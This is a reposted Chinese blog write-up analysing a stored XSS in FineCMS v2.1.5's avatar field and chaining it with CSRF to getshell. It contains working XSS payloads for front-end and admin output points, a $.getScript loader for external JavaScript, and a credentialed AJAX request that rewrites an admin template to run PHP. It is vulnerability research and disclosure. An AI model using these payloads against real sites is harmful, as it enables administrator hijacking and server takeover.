IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    FineCMS v2.1.5前台一处XSS+CSRF可getshell

    没穿底裤发表于 2017-05-26 07:24:00
    love 0

    FineCMS一个XSS漏洞分析

    FineCMS是一套用CodeIgniter开发的中小型内容管理系统,目前有三个分支:1.x,2.x,5.x,这次分析的是2.x的最新版2.1.5

    一、用户输入
    既然是XSS,那么就一定有用户的输入以及输出。

    // controllers\member\InfoController.php
    public function avatarAction() {
        if (empty($this->memberconfig['avatar']) && $this->isPostForm()) {
            $data = $this->input->post('data', TRUE);
            $this->member->update(array('avatar'=> $data['avatar']), 'id=' . $this->memberinfo['id']);
            $this->memberMsg(lang('success'), url('member/info/avatar'), 1);
        }
        $this->view->assign(array(
            'avatar_ext_path' => EXT_PATH . 'avatar/',
            'avatar_return'   => (url('member/info/uploadavatar')),
            'meta_title'      => lang('m-inf-1') . '-' . lang('member') . '-' . $this->site['SITE_NAME'],
        ));
        $this->view->display('member/avatar');
    }

    $data = $this->input->post('data', TRUE);中第二个参数为TRUE表示数据会经过xss_clean()函数进行过滤,然后就进行过滤。xss_clean()其实是很难绕过的,如果输出点在属性值中,产生XSS的可能性就很大。

    二、输出点①
    前台触发

    // controllers\member\SpaceController.php 第35行-44行
    $this->view->assign($data);
    $this->view->assign(array(
        'meta_title' => lang('m-spa-2', array('1'=>$data['nickname'])) . '-' . $this->site['SITE_NAME'],
        'userid'     => (int)$data['id'],
        'tablename'  => $model['tablename'],
        'modelname'  => $model['modelname'],
        'groupname'  => $this->membergroup[$data['groupid']]['name'],
        'page'       => $this->get('page') ? $this->get('page') : 1,
    ));
    $this->view->display('member/space');
    

    它使用了模板引擎,然后输出到member/space的模板上。

    views\new\member\space.html 第14行
    <img src="{$avatar}" width="80" height="80" />

    因此,这里我们构造的XSS-Payload如下所示。

    "onerror=alert(1)>

    三、输出点②
    后台触发

    // controllers\admin\MemberController.php 第72行-84行
    $this->view->assign(array(
        'kw'            => $kw,
        'list'          => $data,
        'page'          => $page,
        'count'         => $count,
        'status'        => $status,
        'pagelist'      => $pagelist,
        'membermodel'   => $this->membermodel,
        'membergroup'   => $this->membergroup,
        'memberextend'  => $this->cache->get('model_member_extend'),
        'is_syn'        => $is_syn
    ));
    $this->view->display('admin/member_list');

    上面就是出库->赋值->输出的一个过程,下面看看问题模板文件

    views\admin\member_list.html 第80行
    <a href="javascript:;" onClick="get_avatar('{$avatar}')">{$t['username']}</a></td

    因此构造出来的语句就应该是:

    ');alert(1)">

    四、利用
    这里数据库对avatar字段有长度限制,因此利用jQuery加载外部的JS代码;并且,从后台找了一个修改模板的地方,利用代码如下:

    ');(function(){$.getScript('//127.0.0.1/1.js');})()">

    JS代码如下

    $(document).ready(function(){
        $.ajax({
            type:"POST",
            url:"/index.php?s=admin&c=theme&a=edit&dir=bmV3XGluZGV4Lmh0bWxc",
            data:{file_content:"{php phpinfo();}",submit:"提交"},
            xhrFields: {
                withCredentials: true
            },
            success:function(){
                alert(1)
            }
        }); 
    });

    管理员点击用户名之后即会触发XSS->修改模板

    from http://ecma.io/715.html



沪ICP备19023445号-2号
友情链接